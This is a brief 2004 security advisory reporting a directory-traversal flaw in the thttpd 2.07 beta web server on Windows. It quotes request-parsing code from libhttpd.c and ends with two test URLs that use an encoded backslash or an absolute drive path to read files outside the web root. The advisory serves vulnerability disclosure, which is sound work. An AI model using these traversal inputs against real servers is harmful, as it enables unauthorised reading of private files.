Application:	thttpd
Vendors:	http://www.acme.com/software/thttpd/
Version:	2.07 beta 0.4 10dec99
Platforms:	Windows
Bug:		Directory Traversal
Date:		2004-08-04
Author:		CoolICE
e-mail:		CoolICE#China.com
================
Content:
in libhttpd.c:
int
httpd_parse_request( httpd_conn* hc )
[...]
    if ( hc->decodedurl[0] != '/' )
	{
	httpd_send_err( hc, 400, httpd_err400title, httpd_err400form, "" );
	return -1;
	}

static int
really_start_request( httpd_conn* hc )
[...]
    if ( stat( hc->expnfilename, &hc->sb ) < 0 )
	{
	httpd_send_err( hc, 500, err500title, err500form, hc->encodedurl );
	return -1;
	}
------------------
TestCode:
http://localhost/%5c../test.ini
http://localhost/c:\test.ini